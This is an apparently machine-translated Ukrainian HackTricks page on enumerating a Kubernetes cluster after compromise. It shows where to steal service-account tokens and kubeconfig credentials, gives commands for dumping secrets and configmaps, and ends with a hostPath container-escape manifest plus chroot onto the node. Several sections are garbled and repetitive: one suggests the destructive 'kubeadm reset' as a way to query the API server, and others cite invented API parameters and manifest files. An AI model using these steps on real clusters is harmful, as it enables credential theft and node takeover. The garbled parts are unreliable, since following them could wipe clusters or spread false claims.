Kubernetes Enumeration

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Токени Kubernetes

Якщо у вас є компрометований доступ до машини, користувач може мати доступ до деякої платформи Kubernetes. Токен зазвичай знаходиться в файлі, на який вказує змінна середовища KUBECONFIG або всередині ~/.kube.

У цій папці ви можете знайти файли конфігурації з токенами та налаштуваннями для підключення до сервера API. Також у цій папці можна знайти папку кешу з інформацією, яка була отримана раніше.

Якщо ви компрометували підпроцес всередині середовища Kubernetes, є інші місця, де ви можете знайти токени та інформацію про поточне середовище K8:

Токени облікових записів служб

Перш ніж продовжувати, якщо ви не знаєте, що таке служба в Kubernetes, я б рекомендував вам перейти за цим посиланням і прочитати принаймні інформацію про архітектуру Kubernetes.

Взято з документації Kubernetes:

«Коли ви створюєте підпроцес, якщо ви не вказуєте обліковий запис служби, він автоматично призначається обліковий запис за замовчуванням в тому ж просторі імен».

Обліковий запис служби - це об'єкт, керований Kubernetes і використовується для надання ідентичності процесам, які працюють у підпроцесі. У кожного облікового запису є секрет, пов'язаний з ним, і цей секрет містить токен носія. Це JSON Web Token (JWT), метод представлення претензій безпечно між двома сторонами.

Зазвичай один з каталогів:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

містять файли:

  • ca.crt: Це сертифікат ca для перевірки зв'язків Kubernetes

  • namespace: Вказує поточний простір імен

  • token: Містить службовий токен поточного підпроцесу.

Тепер, коли у вас є токен, ви можете знайти сервер API всередині змінної середовища KUBECONFIG. Для отримання додаткової інформації виконайте (env | set) | grep -i "kuber|kube"

Токен облікового запису служби підписується ключем, який знаходиться у файлі sa.key і перевіряється за допомогою sa.pub.

Місце за замовчуванням на Kubernetes:

  • /etc/kubernetes/pki

Місце за замовчуванням на Minikube:

  • /var/lib/localkube/certs

Гарячі підпроцеси

Гарячі підпроцеси - це підпроцеси, які містять привілейований токен облікового запису служби. Привілейований токен облікового запису служби - це токен, який має дозвіл на виконання привілейованих завдань, таких як перелік секретів, створення підпроцесів тощо.

RBAC

Якщо ви не знаєте, що таке RBAC, прочитайте цей розділ.

Шпаргалка з переліку

Для переліку середовища K8s вам потрібно кілька речей:

  • Дійсний аутентифікаційний токен. У попередньому розділі ми побачили, де шукати токен користувача та токен облікового запису служби.

  • Адреса (https://host:port) сервера API Kubernetes. Зазвичай це можна знайти у змінних середовища та/або у файлі конфігурації kube.

  • Необов'язково: ca.crt для перевірки сервера API. Це можна знайти в тих же місцях, де можна знайти токен. Це корисно для перевірки сертифіката сервера API, але використовуючи --insecure-skip-tls-verify з kubectl або -k з curl, вам цього не знадобиться.

З цими даними ви можете перелічити Kubernetes. Якщо API з якоїсь причини доступне через Інтернет, ви можете просто завантажити цю інформацію та перелічити платформу з вашого хоста.

Однак зазвичай сервер API знаходиться всередині внутрішньої мережі, тому вам потрібно буде створити тунель через компрометовану машину, щоб отримати до нього доступ з вашої машини, або ви можете завантажити kubectl бінарний файл, або використовувати curl/wget/anything для виконання сирого HTTP-запитів до сервера API.

Відмінності між дієсловами list та get

З дозволами get ви можете отримати доступ до інформації про конкретні активи (опція describe в kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Якщо у вас є дозвіл list, ви можете виконувати запити API для переліку типу активу (опція _get_ у kubectl`):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Якщо у вас є дозвіл watch, ви можете виконувати запити API для моніторингу активів:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Вони відкривають потікове з'єднання, яке повертає вам повний маніфест Розгортання кожного разу, коли він змінюється (або коли створюється новий).

Наступні команди kubectl показують лише, як перелічити об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати describe замість get

Використання curl

Зсередини кінцевої точки ви можете використовувати кілька змінних середовища:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

За замовчуванням под може отримати доступ до сервера kube-api за доменною назвою kubernetes.default.svc, і ви можете побачити мережу kube в /etc/resolv.config, оскільки тут ви знайдете адресу сервера DNS Kubernetes (".1" того ж діапазону - це кінцева точка kube-api).

Використання kubectl

Маючи токен та адресу сервера API, ви можете використовувати kubectl або curl для доступу до нього, як показано тут:

За замовчуванням, APISERVER спілкується за схемою https://.

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

якщо в URL немає https://, ви можете отримати помилку, подібну до недопустимого запиту.

Ви можете знайти офіційний шпаргалку kubectl тут. Метою наступних розділів є представлення у впорядкованому вигляді різних параметрів для переліку та розуміння нового K8s, до якого ви маєте доступ.

Щоб знайти HTTP-запит, який відправляє kubectl, ви можете використовувати параметр -v=8

MitM kubectl - Проксіювання kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Поточна конфігурація

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Якщо вам вдалося вкрасти облікові дані деяких користувачів, ви можете налаштувати їх локально, використовуючи щось на зразок:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Отримання підтримуваних ресурсів

З цією інформацією ви будете знати всі служби, які можна перелічити

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Отримання Поточних Привілеїв

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Ще один спосіб перевірити ваші привілеї - використовуючи інструмент: https://github.com/corneliusweig/rakkess****

Ви можете дізнатися більше про Kubernetes RBAC в:

pageKubernetes Role-Based Access Control(RBAC)

Як тільки ви дізнаєтеся, які привілеї у вас є, перевірте наступну сторінку, щоб з'ясувати, чи можете ви їх зловживати для підвищення привілеїв:

pageAbusing Roles/ClusterRoles in Kubernetes

Отримати інші ролі

k get roles
k get clusterroles

## Пошук API-сервера

  1. Перевірте, чи доступний API-сервер Kubernetes за допомогою kubectl:

    kubectl get pods --all-namespaces
  2. Використовуйте kubectl для взаємодії з API-сервером:

    kubectl proxy --port 8000
    curl http://localhost:8000
  3. Використовуйте kubeadm для взаємодії з API-сервером:

    kubeadm reset
    kubeadm init --pod-network-cidr=10.244.0.0/16
  4. Перевірте, чи доступний API-сервер Kubernetes за допомогою nmap:

    nmap -p 443 <Kubernetes_IP>
  5. Використовуйте kubelet для взаємодії з API-сервером:

    curl http://<Kubelet_IP>:10250/pods

Пошук API-об'єктів

  1. Використовуйте kubectl для переліку доступних API-об'єктів:

    kubectl api-resources
  2. Використовуйте kubectl для отримання детальноє інформації про API-об'єкт:

    kubectl explain pods
  3. Використовуйте kubectl для отримання списку всіх об'єктів певного типу:

    kubectl get pods
  4. Використовуйте kubectl для отримання детальноє інформації про конкретний об'єкт:

    kubectl describe pod <pod_name>
  5. Використовуйте kubectl для отримання YAML-представлення об'єкта:

    kubectl get pod <pod_name> -o yaml
  6. Використовуйте kubectl для виконання команд всередині контейнера:

    kubectl exec -it <pod_name> -- /bin/bash
    ```</div>
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Отримати простори імен

Kubernetes підтримує кілька віртуальних кластерів, що базуються на одному фізичному кластері. Ці віртуальні кластери називаються просторами імен.

k get namespaces

Пошук API-серверів

  1. Використовуйте kubectl для взаємодії з кластером Kubernetes.

  2. Виконайте наступну команду, щоб отримати список всіх доступних сервісів:

kubectl get services --all-namespaces
  1. Перевірте кожен сервіс, щоб знайти можливі API-сервери.

Взаємодія з API-серверами

  1. Використовуйте kubectl proxy, щоб створити локальний проксі-сервер для взаємодії з API-серверами.

  2. Відкрийте веб-браузер і перейдіть за посиланням http://localhost:8001.

Використання kubectx та kubens

  1. Встановіть утиліту kubectx та kubens для швидкого перемикання між кластерами та просторами імен.

  2. Використовуйте їх для зручної навігації та роботи з Kubernetes кластерами.

Пошук відкритих портів

  1. Використовуйте утиліту nmap, щоб сканувати кластер на відкриті порти.

  2. Запустіть наступну команду для сканування портів усіх вузлів кластера:

nmap -p- <IP-адреса-кластера>
  1. Аналізуйте результати, щоб знайти можливі вразливості або служби.

Пошук відкритих сервісів

  1. Використовуйте утиліту kube-hunter, щоб знайти вразливості в Kubernetes кластері.

  2. Запустіть наступну команду для сканування кластера:

kube-hunter --remote <IP-адреса-кластера>
  1. Аналізуйте результати, щоб виявити можливі проблеми безпеки.

Пошук конфігураційних файлів

  1. Перевірте кластер на наявність витоку конфігураційних файлів.

  2. Шукайте файли типу kubeconfig, які можуть містити конфіденційну інформацію.

Використання kubesec

  1. Встановіть утиліту kubesec, щоб аналізувати та оцінювати конфігурації Kubernetes.

  2. Запустіть наступну команду для аналізу конфігураційного файлу:

kubesec scan <шлях-до-файлу>
  1. Оцініть результати, щоб виявити можливі проблеми безпеки.

Пошук вразливостей

  1. Використовуйте утиліту kube-bench, щоб перевірити кластер на відповідність рекомендаціям безпеки.

  2. Запустіть наступну команду для аналізу безпеки кластера:

kube-bench
  1. Аналізуйте результати, щоб виявити можливі вразливості та вдосконалити безпеку.

kurl -k -v https://$APISERVER/api/v1/namespaces/

Отримання секретів

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Отримати Поди

Поди - це фактичні контейнери, які будуть запущені.

k get pods
k get pods -n custnamespace

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Отримати сервіси

Сервіси Kubernetes використовуються для викладення сервісу на конкретному порту та IP-адресі (який буде виступати як балансувальник навантаження для капсул, які фактично пропонують сервіс). Це цікаво знати, де можна знайти інші сервіси для спроби атаки.

k get services
k get services -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Отримати вузли

Отримати всі вузли, налаштовані всередині кластера.

k get nodes

Пошук API-сервера

  1. Використовуйте kubectl для взаємодії з API-сервером:

    kubectl get pods --all-namespaces
    kubectl get services --all-namespaces
    kubectl get deployments --all-namespaces
    kubectl get nodes
    kubectl get namespaces
  2. Перевірте конфігураційні файли kubelet:

    cat /var/lib/kubelet/config.yaml
    cat /etc/kubernetes/manifests/kube-apiserver.yaml
  3. Перевірте сертифікати API-сервера:

    cat /etc/kubernetes/pki/apiserver.crt
    cat /etc/kubernetes/pki/apiserver.key
  4. Перевірте конфігураційні файли kube-apiserver:

    cat /etc/kubernetes/manifests/kube-apiserver.yaml
  5. Перевірте доступність API-сервера:

    curl https://<API_SERVER_IP>:<API_SERVER_PORT>
  6. Використовуйте kubeadm для отримання інформації про API-сервер:

    kubeadm config view
  7. Перевірте конфігураційні файли kube-proxy:

    cat /var/lib/kube-proxy/config.conf
  8. Перевірте конфігураційні файли kube-controller-manager:

    cat /etc/kubernetes/manifests/kube-controller-manager.yaml
  9. Перевірте конфігураційні файли kube-scheduler:

    cat /etc/kubernetes/manifests/kube-scheduler.yaml
  10. Перевірте конфігураційні файли etcd:

    cat /etc/kubernetes/manifests/etcd.yaml
  11. Перевірте конфігураційні файли kubelet:

    cat /etc/kubernetes/manifests/kubelet.yaml
  12. Перевірте конфігураційні файли kube-proxy:

    cat /etc/kubernetes/manifests/kube-proxy.yaml
  13. Перевірте конфігураційні файли coredns:

    cat /etc/kubernetes/manifests/coredns.yaml
  14. Перевірте конфігураційні файли kube-flannel:

    cat /etc/kubernetes/manifests/kube-flannel.yaml
  15. Перевірте конфігураційні файли calico:

    cat /etc/kubernetes/manifests/calico.yaml
  16. Перевірте конфігураційні файли weave-net:

    cat /etc/kubernetes/manifests/weave-net.yaml
  17. Перевірте конфігураційні файли kube-apiserver:

    cat /etc/kubernetes/manifests/kube-apiserver.yaml
  18. Перевірте конфігураційні файли kube-controller-manager:

    cat /etc/kubernetes/manifests/kube-controller-manager.yaml
  19. Перевірте конфігураційні файли kube-scheduler:

    cat /etc/kubernetes/manifests/kube-scheduler.yaml
  20. Перевірте конфігураційні файли etcd:

    cat /etc/kubernetes/manifests/etcd.yaml
  21. Перевірте конфігураційні файли kubelet:

    cat /etc/kubernetes/manifests/kubelet.yaml
  22. Перевірте конфігураційні файли kube-proxy:

    cat /etc/kubernetes/manifests/kube-proxy.yaml
  23. Перевірте конфігураційні файли coredns:

    cat /etc/kubernetes/manifests/coredns.yaml
  24. Перевірте конфігураційні файли kube-flannel:

    cat /etc/kubernetes/manifests/kube-flannel.yaml
  25. Перевірте конфігураційні файли calico:

    cat /etc/kubernetes/manifests/calico.yaml
  26. Перевірте конфігураційні файли weave-net:

    cat /etc/kubernetes/manifests/weave-net.yaml
kurl -v https://$APISERVER/api/v1/nodes/

Отримати DaemonSets

DaeamonSets дозволяє забезпечити те, що конкретний підпроцес працює на всіх вузлах кластера (або на вибраних). Якщо ви видалите DaemonSet, керовані ним підпроцеси також будуть видалені.

k get daemonsets

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Отримати cronjob

Cron-завдання дозволяє планувати запуск капсули, яка виконає певну дію.

k get cronjobs

Пошук API-сервера

  1. Перевірте, чи доступний API-сервер Kubernetes за допомогою kubectl:

kubectl get pods --all-namespaces
kubectl get pods --all-namespaces -o wide
kubectl get svc --all-namespaces
kubectl get svc --all-namespaces -o wide
kubectl get deployments --all-namespaces
kubectl get deployments --all-namespaces -o wide
  1. Перевірте, чи доступний API-сервер Kubernetes за допомогою curl:

curl -k https://<CLUSTER-IP>:<PORT>
curl -k https://<CLUSTER-IP>:<PORT>/version
curl -k https://<CLUSTER-IP>:<PORT>/apis
curl -k https://<CLUSTER-IP>:<PORT>/api/v1
curl -k https://<CLUSTER-IP>:<PORT>/api/v1/namespaces
  1. Використовуйте kubetcl для взаємодії з API-сервером:

kubectl proxy --port 8000
curl http://localhost:8000
curl http://localhost:8000/version
curl http://localhost:8000/apis
curl http://localhost:8000/api/v1
curl http://localhost:8000/api/v1/namespaces
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі:

kubectl proxy --port 8000
curl http://localhost:8000/api/v1/namespaces
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі та отримання доступу до ресурсів:

kubectl proxy --port 8000
curl http://localhost:8000/api/v1/namespaces/default/pods
curl http://localhost:8000/api/v1/namespaces/default/pods/<POD-NAME>
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі та виконання запитів:

kubectl proxy --port 8000
curl -X POST http://localhost:8000/api/v1/namespaces/default/pods/<POD-NAME>/exec?command=ls&command=-l
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі та виконання команд у контейнері:

kubectl proxy --port 8000
curl -X POST http://localhost:8000/api/v1/namespaces/default/pods/<POD-NAME>/exec?command=ls&command=-l&container=<CONTAINER-NAME>
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі та виконання команд у контейнері з виведенням результатів:

kubectl proxy --port 8000
curl -X POST http://localhost:8000/api/v1/namespaces/default/pods/<POD-NAME>/exec?command=ls&command=-l&container=<CONTAINER-NAME>&output=watch
  1. Використовуйте kubetcl для взаємодії з API-сервером через проксі та виконання команд у контейнері з виведенням результатів у реальному часі:

kubectl proxy --port 8000
curl -X POST http://localhost:8000/api/v1/namespaces/default/pods/<POD-NAME>/exec?command=ls&command=-l&container=<CONTAINER-NAME>&output=watch&stderr=true&stdin=true&stdout=true
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Отримати configMap

configMap завжди містить багато інформації та конфігураційний файл, який надає додаткам, які працюють в Kubernetes. Зазвичай ви можете знайти багато паролів, секретів, токенів, які використовуються для підключення та перевірки до інших внутрішніх/зовнішніх служб.

k get configmaps # -n namespace

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Отримати "все"

k get all

Отримання використання ресурсів Pods

k top pod --all-namespaces

Втеча з контейнера

Якщо ви можете створювати нові контейнери, ви, можливо, зможете втекти з них на вузол. Для цього вам потрібно створити новий контейнер, використовуючи файл yaml, переключитися на створений контейнер, а потім використати chroot для входу в систему вузла. Ви можете використовувати вже існуючі контейнери як посилання для файлу yaml, оскільки вони відображають існуючі зображення та шляхи.

kubectl get pod <name> [-n <namespace>] -o yaml

якщо вам потрібно створити pod на конкретному вузлі, ви можете використати наступну команду, щоб отримати мітки на вузлі

k get nodes --show-labels

Зазвичай, kubernetes.io/hostname та node-role.kubernetes.io/master - це всі гарні мітки для вибору.

Потім ви створюєте свій файл attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

оригінальний yaml-код

Після цього ви створюєте pod

kubectl apply -f attacker.yaml [-n <namespace>]

Тепер ви можете переключитися до створеного поду наступним чином

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

І, нарешті, ви виконуєте chroot в систему вузла

chroot /root /bin/bash

Інформація отримана з: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримати HackTricks:

Last updated